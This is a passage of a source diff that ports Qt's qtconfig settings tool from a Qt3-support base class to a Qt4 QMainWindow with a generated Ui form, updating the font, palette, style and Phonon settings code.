+        for (GList *iter = g_list_first(factoryList) ; iter != NULL ; iter = g_list_next(iter)) {
             GstPluginFeature *feature = GST_PLUGIN_FEATURE(iter->data);
             klass = QLatin1String(gst_element_factory_get_klass(GST_ELEMENT_FACTORY(feature)));
             if (klass == QLatin1String("Sink/Audio")) {
                 name = QLatin1String(GST_PLUGIN_FEATURE_NAME(feature));
                 if (name == QLatin1String("sfsink"))
-                    continue; //useless to output audio to file when you cannot set the file path
+                    continue; // useless to output audio to file when you cannot set the file path
                 else if (name == QLatin1String("autoaudiosink"))
                     continue; //This is used implicitly from the auto setting
                 GstElement *sink = gst_element_factory_make (qPrintable(name), NULL);
                 if (sink) {
-                    description = QLatin1String(gst_element_factory_get_description (GST_ELEMENT_FACTORY(feature)));
-                    audiosinkCombo->addItem(name, name);
-                    audiosinkCombo->setItemData(audiosinkCombo->findText(name), description, Qt::ToolTipRole);
+                    description = QLatin1String(gst_element_factory_get_description(GST_ELEMENT_FACTORY(feature)));
+                    ui->audiosinkCombo->addItem(name, name);
+                    ui->audiosinkCombo->setItemData(ui->audiosinkCombo->findText(name), description,
+                                                    Qt::ToolTipRole);
                     gst_object_unref (sink);
                 }
             }
@@ -422,39 +455,43 @@ MainWindow::MainWindow()
         g_list_free(factoryList);
     }
 #else
-    tab4->setEnabled(false);
-    phononLabel->setText(tr("Phonon GStreamer backend not available."));
+    ui->phononTab->setEnabled(false);
+    ui->phononLabel->setText(tr("Phonon GStreamer backend not available."));
 #endif
 
-    videomodeCombo->addItem(tr("Auto (default)"), QLatin1String("Auto"));
-    videomodeCombo->setItemData(videomodeCombo->findText(tr("Auto (default)")), tr("Choose render method automatically"), Qt::ToolTipRole);
+    ui->videomodeCombo->addItem(tr("Auto (default)"), QLatin1String("Auto"));
+    ui->videomodeCombo->setItemData(ui->videomodeCombo->findText(tr("Auto (default)")),
+                                    tr("Choose render method automatically"), Qt::ToolTipRole);
 #ifdef Q_WS_X11
-    videomodeCombo->addItem(tr("X11"), QLatin1String("X11"));
-    videomodeCombo->setItemData(videomodeCombo->findText(tr("X11")), tr("Use X11 Overlays"), Qt::ToolTipRole);
+    ui->videomodeCombo->addItem(tr("X11"), QLatin1String("X11"));
+    ui->videomodeCombo->setItemData(ui->videomodeCombo->findText(tr("X11")),
+                                    tr("Use X11 Overlays"), Qt::ToolTipRole);
 #endif
 #ifndef QT_NO_OPENGL
-    videomodeCombo->addItem(tr("OpenGL"), QLatin1String("OpenGL"));
-    videomodeCombo->setItemData(videomodeCombo->findText(tr("OpenGL")), tr("Use OpenGL if available"), Qt::ToolTipRole);
+    ui->videomodeCombo->addItem(tr("OpenGL"), QLatin1String("OpenGL"));
+    ui->videomodeCombo->setItemData(ui->videomodeCombo->findText(tr("OpenGL")),
+                                    tr("Use OpenGL if available"), Qt::ToolTipRole);
 #endif
-    videomodeCombo->addItem(tr("Software"), QLatin1String("Software"));
-    videomodeCombo->setItemData(videomodeCombo->findText(tr("Software")), tr("Use simple software rendering"), Qt::ToolTipRole);
+    ui->videomodeCombo->addItem(tr("Software"), QLatin1String("Software"));
+    ui->videomodeCombo->setItemData(ui->videomodeCombo->findText(tr("Software")),
+                                    tr("Use simple software rendering"), Qt::ToolTipRole);
 
     QString audioSink = settings.value(QLatin1String("audiosink"), QLatin1String("Auto")).toString();
     QString videoMode = settings.value(QLatin1String("videomode"), QLatin1String("Auto")).toString();
-    audiosinkCombo->setCurrentItem(audiosinkCombo->findData(audioSink));
-    videomodeCombo->setCurrentItem(videomodeCombo->findData(videoMode));
+    ui->audiosinkCombo->setCurrentIndex(ui->audiosinkCombo->findData(audioSink));
+    ui->videomodeCombo->setCurrentIndex(ui->videomodeCombo->findData(videoMode));
 
     settings.endGroup(); // Qt
 
-    helpview->setText(tr(appearance_text));
+    ui->helpView->setText(tr(appearance_text));
 
     setModified(false);
     updateStyleLayout();
 }
 
-
 MainWindow::~MainWindow()
 {
+    delete ui;
 }
 
 #ifdef Q_WS_X11
@@ -474,23 +511,23 @@ void MainWindow::fileSave()
         QSettings settings(QLatin1String("Trolltech"));
         settings.beginGroup(QLatin1String("Qt"));
         QFontDatabase db;
-        QFont font = db.font(familycombo->currentText(),
-                             stylecombo->currentText(),
-                             psizecombo->currentText().toInt());
+        QFont font = db.font(ui->fontFamilyCombo->currentText(),
+                             ui->fontStyleCombo->currentText(),
+                             ui->pointSizeCombo->currentText().toInt());
 
         QStringList actcg, inactcg, discg;
-        bool overrideDesktopSettings = (gstylecombo->currentText() != desktopThemeName);
+        bool overrideDesktopSettings = (ui->guiStyleCombo->currentText() != desktopThemeName);
         if (overrideDesktopSettings) {
             int i;
-            for (i = 0; i < QColorGroup::NColorRoles; i++)
+            for (i = 0; i < QPalette::NColorRoles; i++)
                 actcg << editPalette.color(QPalette::Active,
-                                           (QColorGroup::ColorRole) i).name();
-            for (i = 0; i < QColorGroup::NColorRoles; i++)
+                                           QPalette::ColorRole(i)).name();
+            for (i = 0; i < QPalette::NColorRoles; i++)
                 inactcg << editPalette.color(QPalette::Inactive,
-                                             (QColorGroup::ColorRole) i).name();
-            for (i = 0; i < QColorGroup::NColorRoles; i++)
+                                             QPalette::ColorRole(i)).name();
+            for (i = 0; i < QPalette::NColorRoles; i++)
                 discg << editPalette.color(QPalette::Disabled,
-                                           (QColorGroup::ColorRole) i).name();
+                                           QPalette::ColorRole(i)).name();
         }
 
         settings.setValue(QLatin1String("font"), font.toString());
@@ -499,59 +536,63 @@ void MainWindow::fileSave()
         settings.setValue(QLatin1String("Palette/disabled"), discg);
 
         settings.setValue(QLatin1String("fontPath"), fontpaths);
-        settings.setValue(QLatin1String("embedFonts"), fontembeddingcheckbox->isChecked());
-        settings.setValue(QLatin1String("style"), overrideDesktopSettings ? gstylecombo->currentText() : QString());
+        settings.setValue(QLatin1String("embedFonts"), ui->fontEmbeddingCheckBox->isChecked());
+        settings.setValue(QLatin1String("style"),
+                          overrideDesktopSettings ? ui->guiStyleCombo->currentText() : QString());
 
-        settings.setValue(QLatin1String("doubleClickInterval"), dcispin->value());
-        settings.setValue(QLatin1String("cursorFlashTime"), cfispin->value() == 9 ? 0 : cfispin->value() );
-        settings.setValue(QLatin1String("wheelScrollLines"), wslspin->value());
-        settings.setValue(QLatin1String("resolveSymlinks"), resolvelinks->isChecked());
+        settings.setValue(QLatin1String("doubleClickInterval"), ui->doubleClickIntervalSpinBox->value());
+        settings.setValue(QLatin1String("cursorFlashTime"),
+                          ui->cursorFlashTimeSpinBox->value() == 9 ? 0 : ui->cursorFlashTimeSpinBox->value());
+        settings.setValue(QLatin1String("wheelScrollLines"), ui->wheelScrollLinesSpinBox->value());
+        settings.setValue(QLatin1String("resolveSymlinks"), ui->resolveLinksCheckBox->isChecked());
 
-        QSize strut(strutwidth->value(), strutheight->value());
+        QSize strut(ui->strutWidthSpinBox->value(), ui->strutHeightSpinBox->value());
         settings.setValue(QLatin1String("globalStrut/width"), strut.width());
         settings.setValue(QLatin1String("globalStrut/height"), strut.height());
 
-        settings.setValue(QLatin1String("useRtlExtensions"), rtlExtensions->isChecked());
+        settings.setValue(QLatin1String("useRtlExtensions"), ui->rtlExtensionsCheckBox->isChecked());
 
 #ifdef Q_WS_X11
-        QString style = inputStyle->currentText();
+        QString style = ui->inputStyleCombo->currentText();
         QString str = QLatin1String("On The Spot");
-        if ( style == trUtf8( "Over The Spot" ) )
+        if (style == tr("Over The Spot"))
             str = QLatin1String("Over The Spot");
-        else if ( style == trUtf8( "Off The Spot" ) )
+        else if (style == tr("Off The Spot"))
             str = QLatin1String("Off The Spot");
-        else if ( style == trUtf8( "Root" ) )
+        else if (style == tr("Root"))
             str = QLatin1String("Root");
-        settings.setValue( QLatin1String("XIMInputStyle"), str );
+        settings.setValue(QLatin1String("XIMInputStyle"), str);
 #endif
 #if defined(Q_WS_X11) && !defined(QT_NO_XIM)
-        settings.setValue(QLatin1String("DefaultInputMethod"), inputMethod->currentText());
+        settings.setValue(QLatin1String("DefaultInputMethod"), ui->inputMethodCombo->currentText());
 #endif
 
         QString audioSink = settings.value(QLatin1String("audiosink"), QLatin1String("Auto")).toString();
         QString videoMode = settings.value(QLatin1String("videomode"), QLatin1String("Auto")).toString();
-        settings.setValue(QLatin1String("audiosink"), audiosinkCombo->itemData(audiosinkCombo->currentIndex()));
-        settings.setValue(QLatin1String("videomode"), videomodeCombo->itemData(videomodeCombo->currentIndex()));
+        settings.setValue(QLatin1String("audiosink"),
+                          ui->audiosinkCombo->itemData(ui->audiosinkCombo->currentIndex()));
+        settings.setValue(QLatin1String("videomode"),
+                          ui->videomodeCombo->itemData(ui->videomodeCombo->currentIndex()));
 
         QStringList effects;
-        if (effectcheckbox->isChecked()) {
+        if (ui->effectsCheckBox->isChecked()) {
             effects << QLatin1String("general");
 
-            switch (menueffect->currentItem()) {
+            switch (ui->menuEffectCombo->currentIndex()) {
             case 1: effects << QLatin1String("animatemenu"); break;
             case 2: effects << QLatin1String("fademenu"); break;
             }
 
-            switch (comboeffect->currentItem()) {
+            switch (ui->comboEffectCombo->currentIndex()) {
             case 1: effects << QLatin1String("animatecombo"); break;
             }
 
-            switch (tooltipeffect->currentItem()) {
+            switch (ui->toolTipEffectCombo->currentIndex()) {
             case 1: effects << QLatin1String("animatetooltip"); break;
             case 2: effects << QLatin1String("fadetooltip"); break;
             }
 
-            switch ( toolboxeffect->currentItem() ) {
+            switch (ui->toolBoxEffectCombo->currentIndex()) {
             case 1: effects << QLatin1String("animatetoolbox"); break;
             }
         } else
@@ -575,189 +616,63 @@ void MainWindow::fileSave()
 #endif // Q_WS_X11
 
     setModified(false);
-    statusBar()->showMessage(QLatin1String("Saved changes."));
+    statusBar()->showMessage(tr("Saved changes."));
 }
 
-
 void MainWindow::fileExit()
 {
     qApp->closeAllWindows();
 }
 
-
 void MainWindow::setModified(bool m)
 {
     if (modified == m)
         return;
 
     modified = m;
-    fileSaveAction->setEnabled(m);
+    ui->fileSaveAction->setEnabled(m);
 }
 
-
 void MainWindow::buildPalette()
 {
-    int i;
-    QColorGroup cg;
-    QColor btn = buttonMainColor->color();
-    QColor back = buttonMainColor2->color();
-    QPalette automake( btn, back );
-
-    for (i = 0; i<9; i++)
-        cg.setColor( centralFromItem(i), automake.active().color( centralFromItem(i) ) );
-
-    editPalette.setActive( cg );
-    buildActiveEffect();
-
-    cg = editPalette.inactive();
-
-    QPalette temp( editPalette.active().color( QColorGroup::Button ),
-                   editPalette.active().color( QColorGroup::Window ) );
-
-    for (i = 0; i<9; i++)
-        cg.setColor( centralFromItem(i), temp.inactive().color( centralFromItem(i) ) );
-
-    editPalette.setInactive( cg );
-    buildInactiveEffect();
-
-    cg = editPalette.disabled();
-
-    for (i = 0; i<9; i++)
-        cg.setColor( centralFromItem(i), temp.disabled().color( centralFromItem(i) ) );
-
-    editPalette.setDisabled( cg );
-    buildDisabledEffect();
+    QPalette temp(ui->buttonMainColor->color(), ui->buttonWindowColor->color());
+    for (int i = 0; i < QPalette::NColorGroups; i++)
+        temp = PaletteEditorAdvanced::buildEffect(QPalette::ColorGroup(i), temp);
 
+    editPalette = temp;
+    setPreviewPalette(editPalette);
     updateColorButtons();
 
     setModified(true);
 }
 
-
-void MainWindow::buildActiveEffect()
-{
-    QColorGroup cg = editPalette.active();
-    QColor btn = cg.color( QColorGroup::Button );
-
-    QPalette temp( btn, btn );
-
-    for (int i = 0; i<5; i++)
-        cg.setColor( effectFromItem(i), temp.active().color( effectFromItem(i) ) );
-
-    editPalette.setActive( cg );
-    setPreviewPalette( editPalette );
-
-    updateColorButtons();
-}
-
-
-void MainWindow::buildInactive()
+void MainWindow::setPreviewPalette(const QPalette &pal)
 {
-    editPalette.setInactive( editPalette.active() );
-    buildInactiveEffect();
-}
-
+    QPalette::ColorGroup colorGroup = groupFromIndex(ui->paletteCombo->currentIndex());
 
-void MainWindow::buildInactiveEffect()
-{
-    QColorGroup cg = editPalette.inactive();
-
-    QColor light, midlight, mid, dark, shadow;
-    QColor btn = cg.color( QColorGroup::Button );
-
-    light = btn.light(150);
-    midlight = btn.light(115);
-    mid = btn.dark(150);
-    dark = btn.dark();
-    shadow = Qt::black;
-
-    cg.setColor( QColorGroup::Light, light );
-    cg.setColor( QColorGroup::Midlight, midlight );
-    cg.setColor( QColorGroup::Mid, mid );
-    cg.setColor( QColorGroup::Dark, dark );
-    cg.setColor( QColorGroup::Shadow, shadow );
-
-    editPalette.setInactive( cg );
-    setPreviewPalette( editPalette );
-    updateColorButtons();
-}
-
-
-void MainWindow::buildDisabled()
-{
-    QColorGroup cg = editPalette.active();
-    cg.setColor( QColorGroup::ButtonText, Qt::darkGray );
-    cg.setColor( QColorGroup::WindowText, Qt::darkGray );
-    cg.setColor( QColorGroup::Text, Qt::darkGray );
-    cg.setColor( QColorGroup::HighlightedText, Qt::darkGray );
-    editPalette.setDisabled( cg );
-
-    buildDisabledEffect();
-}
-
-
-void MainWindow::buildDisabledEffect()
-{
-    QColorGroup cg = editPalette.disabled();
-
-    QColor light, midlight, mid, dark, shadow;
-    QColor btn = cg.color( QColorGroup::Button );
-
-    light = btn.light(150);
-    midlight = btn.light(115);
-    mid = btn.dark(150);
-    dark = btn.dark();
-    shadow = Qt::black;
-
-    cg.setColor( QColorGroup::Light, light );
-    cg.setColor( QColorGroup::Midlight, midlight );
-    cg.setColor( QColorGroup::Mid, mid );
-    cg.setColor( QColorGroup::Dark, dark );
-    cg.setColor( QColorGroup::Shadow, shadow );
-
-    editPalette.setDisabled( cg );
-    setPreviewPalette( editPalette );
-    updateColorButtons();
-}
-
-
-void MainWindow::setPreviewPalette( const QPalette& pal )
-{
-    QColorGroup cg;
-
-    switch (paletteCombo->currentItem()) {
-    case 0:
-    default:
-        cg = pal.active();
-        break;
-    case 1:
-        cg = pal.inactive();
-        break;
-    case 2:
-        cg = pal.disabled();
-        break;
+    for (int i = 0; i < QPalette::NColorGroups; i++) {
+        for (int j = 0; j < QPalette::NColorRoles; j++) {
+            QPalette::ColorGroup targetGroup = QPalette::ColorGroup(i);
+            QPalette::ColorRole targetRole = QPalette::ColorRole(j);
+            previewPalette.setColor(targetGroup, targetRole, pal.color(colorGroup, targetRole));
+        }
     }
-    previewPalette.setActive( cg );
-    previewPalette.setInactive( cg );
-    previewPalette.setDisabled( cg );
 
-    previewFrame->setPreviewPalette(previewPalette);
+    ui->previewFrame->setPreviewPalette(previewPalette);
 }
 
-
 void MainWindow::updateColorButtons()
 {
-    buttonMainColor->setColor( editPalette.active().color( QColorGroup::Button ));
-    buttonMainColor2->setColor( editPalette.active().color( QColorGroup::Window ));
+    ui->buttonMainColor->setColor(editPalette.color(QPalette::Active, QPalette::Button));
+    ui->buttonWindowColor->setColor(editPalette.color(QPalette::Active, QPalette::Window));
 }
 
-
 void MainWindow::tunePalette()
 {
     bool ok;
     QPalette pal = PaletteEditorAdvanced::getPalette(&ok, editPalette,
-                                                     backgroundMode(), this);
-    if (! ok)
+                                                     backgroundRole(), this);
+    if (!ok)
         return;
 
     editPalette = pal;
@@ -765,7 +680,6 @@ void MainWindow::tunePalette()
     setModified(true);
 }
 
-
 void MainWindow::paletteSelected(int)
 {
     setPreviewPalette(editPalette);
@@ -773,10 +687,10 @@ void MainWindow::paletteSelected(int)
 
 void MainWindow::updateStyleLayout()
 {
-    QString currentStyle = gstylecombo->currentText();
+    QString currentStyle = ui->guiStyleCombo->currentText();
     bool autoStyle = (currentStyle == desktopThemeName);
-    previewFrame->setPreviewVisible(!autoStyle);
-    groupAutoPalette->setEnabled(currentStyle.toLower() != QLatin1String("gtk") && !autoStyle);
+    ui->previewFrame->setPreviewVisible(!autoStyle);
+    ui->buildPaletteGroup->setEnabled(currentStyle.toLower() != QLatin1String("gtk") && !autoStyle);
 }
 
 void MainWindow::styleSelected(const QString &stylename)
@@ -788,7 +702,7 @@ void MainWindow::styleSelected(const QString &stylename)
         style = QStyleFactory::create(stylename);
         if (!style)
             return;
-        setStyleHelper(previewFrame, style);
+        setStyleHelper(ui->previewFrame, style);
         delete previewstyle;
         previewstyle = style;
         setModified(true);
@@ -796,210 +710,191 @@ void MainWindow::styleSelected(const QString &stylename)
     updateStyleLayout();
 }
 
-
 void MainWindow::familySelected(const QString &family)
 {
     QFontDatabase db;
     QStringList styles = db.styles(family);
-    stylecombo->clear();
-    stylecombo->insertStringList(styles);
-    familysubcombo->insertItem(family);
+    ui->fontStyleCombo->clear();
+    ui->fontStyleCombo->addItems(styles);
+    ui->familySubstitutionCombo->addItem(family);
     buildFont();
 }
 
-
 void MainWindow::buildFont()
 {
     QFontDatabase db;
-    QFont font = db.font(familycombo->currentText(),
-                         stylecombo->currentText(),
-                         psizecombo->currentText().toInt());
-    samplelineedit->setFont(font);
+    QFont font = db.font(ui->fontFamilyCombo->currentText(),
+                         ui->fontStyleCombo->currentText(),
+                         ui->pointSizeCombo->currentText().toInt());
+    ui->sampleLineEdit->setFont(font);
     setModified(true);
 }
 
-
 void MainWindow::substituteSelected(const QString &family)
 {
     QStringList subs = QFont::substitutes(family);
-    sublistbox->clear();
-    sublistbox->insertStringList(subs);
+    ui->substitutionsListBox->clear();
+    ui->substitutionsListBox->insertItems(0, subs);
 }
 
-
 void MainWindow::removeSubstitute()
 {
-    if (sublistbox->currentItem() < 0 ||
-        uint(sublistbox->currentItem()) > sublistbox->count())
+    if (!ui->substitutionsListBox->currentItem())
         return;
 
-    int item = sublistbox->currentItem();
-    QStringList subs = QFont::substitutes(familysubcombo->currentText());
-    subs.removeAt(sublistbox->currentItem());
-    sublistbox->clear();
-    sublistbox->insertStringList(subs);
-    if (uint(item) > sublistbox->count())
-        item = int(sublistbox->count()) - 1;
-    sublistbox->setCurrentItem(item);
-    QFont::removeSubstitution(familysubcombo->currentText());
-    QFont::insertSubstitutions(familysubcombo->currentText(), subs);
+    int row = ui->substitutionsListBox->currentRow();
+    QStringList subs = QFont::substitutes(ui->familySubstitutionCombo->currentText());
+    subs.removeAt(ui->substitutionsListBox->currentRow());
+    ui->substitutionsListBox->clear();
+    ui->substitutionsListBox->insertItems(0, subs);
+    if (row > ui->substitutionsListBox->count())
+        row = ui->substitutionsListBox->count() - 1;
+    ui->substitutionsListBox->setCurrentRow(row);
+    QFont::removeSubstitution(ui->familySubstitutionCombo->currentText());
+    QFont::insertSubstitutions(ui->familySubstitutionCombo->currentText(), subs);
     setModified(true);
 }
 
-
 void MainWindow::addSubstitute()
 {
-    if (sublistbox->currentItem() < 0 ||
-        uint(sublistbox->currentItem()) > sublistbox->count()) {
-        QFont::insertSubstitution(familysubcombo->currentText(), choosesubcombo->currentText());
-        QStringList subs = QFont::substitutes(familysubcombo->currentText());
-        sublistbox->clear();
-        sublistbox->insertStringList(subs);
+    if (!ui->substitutionsListBox->currentItem()) {
+        QFont::insertSubstitution(ui->familySubstitutionCombo->currentText(),
+                                  ui->chooseSubstitutionCombo->currentText());
+        QStringList subs = QFont::substitutes(ui->familySubstitutionCombo->currentText());
+        ui->substitutionsListBox->clear();
+        ui->substitutionsListBox->insertItems(0, subs);
         setModified(true);
         return;
     }
 
-    int item = sublistbox->currentItem();
-    QFont::insertSubstitution(familysubcombo->currentText(), choosesubcombo->currentText());
-    QStringList subs = QFont::substitutes(familysubcombo->currentText());
-    sublistbox->clear();
-    sublistbox->insertStringList(subs);
-    sublistbox->setCurrentItem(item);
+    int row = ui->substitutionsListBox->currentRow();
+    QFont::insertSubstitution(ui->familySubstitutionCombo->currentText(), ui->chooseSubstitutionCombo->currentText());
+    QStringList subs = QFont::substitutes(ui->familySubstitutionCombo->currentText());
+    ui->substitutionsListBox->clear();
+    ui->substitutionsListBox->insertItems(0, subs);
+    ui->substitutionsListBox->setCurrentRow(row);
     setModified(true);
 }
 
-
 void MainWindow::downSubstitute()
 {
-    if (sublistbox->currentItem() < 0 ||
-        uint(sublistbox->currentItem()) >= sublistbox->count())
+    if (!ui->substitutionsListBox->currentItem() || ui->substitutionsListBox->currentRow() >= ui->substitutionsListBox->count())
         return;
 
-    int item = sublistbox->currentItem();
-    QStringList subs = QFont::substitutes(familysubcombo->currentText());
-    QString fam = subs.at(item);
-    subs.removeAt(item);
-    subs.insert(item+1, fam);
-    sublistbox->clear();
-    sublistbox->insertStringList(subs);
-    sublistbox->setCurrentItem(item + 1);
-    QFont::removeSubstitution(familysubcombo->currentText());
-    QFont::insertSubstitutions(familysubcombo->currentText(), subs);
+    int row = ui->substitutionsListBox->currentRow();
+    QStringList subs = QFont::substitutes(ui->familySubstitutionCombo->currentText());
+    QString fam = subs.at(row);
+    subs.removeAt(row);
+    subs.insert(row + 1, fam);
+    ui->substitutionsListBox->clear();
+    ui->substitutionsListBox->insertItems(0, subs);
+    ui->substitutionsListBox->setCurrentRow(row + 1);
+    QFont::removeSubstitution(ui->familySubstitutionCombo->currentText());
+    QFont::insertSubstitutions(ui->familySubstitutionCombo->currentText(), subs);
     setModified(true);
 }
 
-
 void MainWindow::upSubstitute()
 {
-    if (sublistbox->currentItem() < 1)
+    if (!ui->substitutionsListBox->currentItem() || ui->substitutionsListBox->currentRow() < 1)
         return;
 
-    int item = sublistbox->currentItem();
-    QStringList subs = QFont::substitutes(familysubcombo->currentText());
-    QString fam = subs.at(item);
-    subs.removeAt(item);
-    subs.insert(item-1, fam);
-    sublistbox->clear();
-    sublistbox->insertStringList(subs);
-    sublistbox->setCurrentItem(item - 1);
-    QFont::removeSubstitution(familysubcombo->currentText());
-    QFont::insertSubstitutions(familysubcombo->currentText(), subs);
+    int row = ui->substitutionsListBox->currentRow();
+    QStringList subs = QFont::substitutes(ui->familySubstitutionCombo->currentText());
+    QString fam = subs.at(row);
+    subs.removeAt(row);
+    subs.insert(row-1, fam);
+    ui->substitutionsListBox->clear();
+    ui->substitutionsListBox->insertItems(0, subs);
+    ui->substitutionsListBox->setCurrentRow(row - 1);
+    QFont::removeSubstitution(ui->familySubstitutionCombo->currentText());
+    QFont::insertSubstitutions(ui->familySubstitutionCombo->currentText(), subs);
     setModified(true);
 }
 
-
 void MainWindow::removeFontpath()
 {
-    if (fontpathlistbox->currentItem() < 0 ||
-        uint(fontpathlistbox->currentItem()) > fontpathlistbox->count())
+    if (!ui->fontpathListBox->currentItem())
         return;
 
-    int item = fontpathlistbox->currentItem();
-    fontpaths.removeAt(fontpathlistbox->currentItem());
-    fontpathlistbox->clear();
-    fontpathlistbox->insertStringList(fontpaths);
-    if (uint(item) > fontpathlistbox->count())
-        item = int(fontpathlistbox->count()) - 1;
-    fontpathlistbox->setCurrentItem(item);
+    int row = ui->fontpathListBox->currentRow();
+    fontpaths.removeAt(row);
+    ui->fontpathListBox->clear();
+    ui->fontpathListBox->insertItems(0, fontpaths);
+    if (row > ui->fontpathListBox->count())
+        row = ui->fontpathListBox->count() - 1;
+    ui->fontpathListBox->setCurrentRow(row);
     setModified(true);
 }
 
-
 void MainWindow::addFontpath()
 {
-    if (fontpathlineedit->text().isEmpty())
+    if (ui->fontPathLineEdit->text().isEmpty())
         return;
 
-    if (fontpathlistbox->currentItem() < 0 ||
-        uint(fontpathlistbox->currentItem()) > fontpathlistbox->count()) {
-        fontpaths.append(fontpathlineedit->text());
-        fontpathlistbox->clear();
-        fontpathlistbox->insertStringList(fontpaths);
+    if (!ui->fontpathListBox->currentItem()) {
+        fontpaths.append(ui->fontPathLineEdit->text());
+        ui->fontpathListBox->clear();
+        ui->fontpathListBox->insertItems(0, fontpaths);
         setModified(true);
 
         return;
     }
 
-    int item = fontpathlistbox->currentItem();
-    fontpaths.insert(fontpathlistbox->currentItem()+1,
-                     fontpathlineedit->text());
-    fontpathlistbox->clear();
-    fontpathlistbox->insertStringList(fontpaths);
-    fontpathlistbox->setCurrentItem(item);
+    int row = ui->fontpathListBox->currentRow();
+    fontpaths.insert(row + 1, ui->fontPathLineEdit->text());
+    ui->fontpathListBox->clear();
+    ui->fontpathListBox->insertItems(0, fontpaths);
+    ui->fontpathListBox->setCurrentRow(row);
     setModified(true);
 }
 
-
 void MainWindow::downFontpath()
 {
-    if (fontpathlistbox->currentItem() < 0 ||
-        uint(fontpathlistbox->currentItem()) >= fontpathlistbox->count() - 1)
+    if (!ui->fontpathListBox->currentItem()
+        || ui->fontpathListBox->currentRow() >= (ui->fontpathListBox->count() - 1)) {
         return;
+    }
 
-    int item = fontpathlistbox->currentItem();
-    QString fam = fontpaths.at(item);
-    fontpaths.removeAt(item);
-    fontpaths.insert(item+1, fam);
-    fontpathlistbox->clear();
-    fontpathlistbox->insertStringList(fontpaths);
-    fontpathlistbox->setCurrentItem(item + 1);
+    int row = ui->fontpathListBox->currentRow();
+    QString fam = fontpaths.at(row);
+    fontpaths.removeAt(row);
+    fontpaths.insert(row + 1, fam);
+    ui->fontpathListBox->clear();
+    ui->fontpathListBox->insertItems(0, fontpaths);
+    ui->fontpathListBox->setCurrentRow(row + 1);
     setModified(true);
 }
 
-
 void MainWindow::upFontpath()
 {
-    if (fontpathlistbox->currentItem() < 1)
+    if (!ui->fontpathListBox->currentItem() || ui->fontpathListBox->currentRow() < 1)
         return;
 
-    int item = fontpathlistbox->currentItem();
-    QString fam = fontpaths.at(item);
-    fontpaths.removeAt(item);
-    fontpaths.insert(item-1, fam);
-    fontpathlistbox->clear();
-    fontpathlistbox->insertStringList(fontpaths);
-    fontpathlistbox->setCurrentItem(item - 1);
+    int row = ui->fontpathListBox->currentRow();
+    QString fam = fontpaths.at(row);
+    fontpaths.removeAt(row);
+    fontpaths.insert(row - 1, fam);
+    ui->fontpathListBox->clear();
+    ui->fontpathListBox->insertItems(0, fontpaths);
+    ui->fontpathListBox->setCurrentRow(row - 1);
     setModified(true);
 }
 
-
 void MainWindow::browseFontpath()
 {
-    QString dirname = QFileDialog::getExistingDirectory(QString(), this, 0,
-                                                        tr("Select a Directory"));
+    QString dirname = QFileDialog::getExistingDirectory(this, tr("Select a Directory"));
     if (dirname.isNull())
         return;
 
-   fontpathlineedit->setText(dirname);
+   ui->fontPathLineEdit->setText(dirname);
 }
 
-
 void MainWindow::somethingModified()
 {
     setModified(true);
 }
 
-
 void MainWindow::helpAbout()
 {
     QMessageBox box(this);
@@ -1012,44 +907,43 @@ void MainWindow::helpAbout()
     box.exec();
 }
 
-
 void MainWindow::helpAboutQt()
 {
     QMessageBox::aboutQt(this, tr("Qt Configuration"));
 }
 
-
-void MainWindow::pageChanged(QWidget *page)
+void MainWindow::pageChanged(int pageNumber)
 {
-    if (page == tab)
-        helpview->setText(tr(interface_text));
-    else if (page == tab1)
-        helpview->setText(tr(appearance_text));
-    else if (page == tab2)
-        helpview->setText(tr(font_text));
-    else if (page == tab3)
-        helpview->setText(tr(printer_text));
-    else if (page == tab4)
-        helpview->setText(tr(phonon_text));
+    QWidget *page = ui->mainTabWidget->widget(pageNumber);
+    if (page == ui->interfaceTab)
+        ui->helpView->setText(tr(interface_text));
+    else if (page == ui->appearanceTab)
+        ui->helpView->setText(tr(appearance_text));
+    else if (page == ui->fontsTab)
+        ui->helpView->setText(tr(font_text));
+    else if (page == ui->printerTab)
+        ui->helpView->setText(tr(printer_text));
+    else if (page == ui->phononTab)
+        ui->helpView->setText(tr(phonon_text));
 }
 
-
 void MainWindow::closeEvent(QCloseEvent *e)
 {
     if (modified) {
-        switch(QMessageBox::warning(this, tr("Save Changes"),
-                                    tr("Save changes to settings?"),
-                                    tr("&Yes"), tr("&No"), tr("&Cancel"), 0, 2)) {
-        case 0: // save
+        switch (QMessageBox::warning(this, tr("Save Changes"),
+                                     tr("Save changes to settings?"),
+                                     (QMessageBox::Yes | QMessageBox::No
+                                     | QMessageBox::Cancel))) {
+        case QMessageBox::Yes: // save
             qApp->processEvents();
             fileSave();
 
             // fall through intended
-        case 1: // don't save
+        case QMessageBox::No: // don't save
             e->accept();
             break;
 
-        case 2: // cancel
+        case QMessageBox::Cancel: // cancel
             e->ignore();
             break;
 
diff --git a/tools/qtconfig/mainwindow.h b/tools/qtconfig/mainwindow.h
index cc7d597..6f4c8a5 100644
--- a/tools/qtconfig/mainwindow.h
+++ b/tools/qtconfig/mainwindow.h
@@ -42,11 +42,15 @@
 #ifndef MAINWINDOW_H
 #define MAINWINDOW_H
 
-#include "mainwindowbase.h"
+#include <QtGui/QMainWindow>
 
 QT_BEGIN_NAMESPACE
 
-class MainWindow : public MainWindowBase
+namespace Ui {
+    class MainWindow;
+}
+
+class MainWindow : public QMainWindow
 {
     Q_OBJECT
 
@@ -56,7 +60,6 @@ public:
 
     void closeEvent(QCloseEvent *);
 
-
 public slots:
     virtual void buildPalette();
     virtual void buildFont();
@@ -79,25 +82,21 @@ public slots:
     virtual void somethingModified();
     virtual void helpAbout();
     virtual void helpAboutQt();
-    virtual void pageChanged(QWidget *);
+    virtual void pageChanged(int);
 
 
 private:
-    void buildActive();
-    void buildActiveEffect();
-    void buildInactive();
-    void buildInactiveEffect();
-    void buildDisabled();
-    void buildDisabledEffect();
-
     void updateColorButtons();
     void updateFontSample();
     void updateStyleLayout();
 
+    static QPalette::ColorGroup groupFromIndex(int);
+
     void setPreviewPalette(const QPalette &);
 
     void setModified(bool);
 
+    Ui::MainWindow *ui;
     QString desktopThemeName;
     QPalette editPalette, previewPalette;
     QStyle *previewstyle;
diff --git a/tools/qtconfig/mainwindowbase.ui b/tools/qtconfig/mainwindow.ui
index c5b4470..d906800 100644
--- a/tools/qtconfig/mainwindowbase.ui
+++ b/tools/qtconfig/mainwindow.ui
@@ -40,8 +40,8 @@
 ** $QT_END_LICENSE$
 **
 *********************************************************************</comment>
- <class>MainWindowBase</class>
- <widget class="Q3MainWindow" name="MainWindowBase">
+ <class>MainWindow</class>
+ <widget class="QMainWindow" name="MainWindow">
   <property name="geometry">
    <rect>
     <x>0</x>
@@ -54,20 +54,12 @@
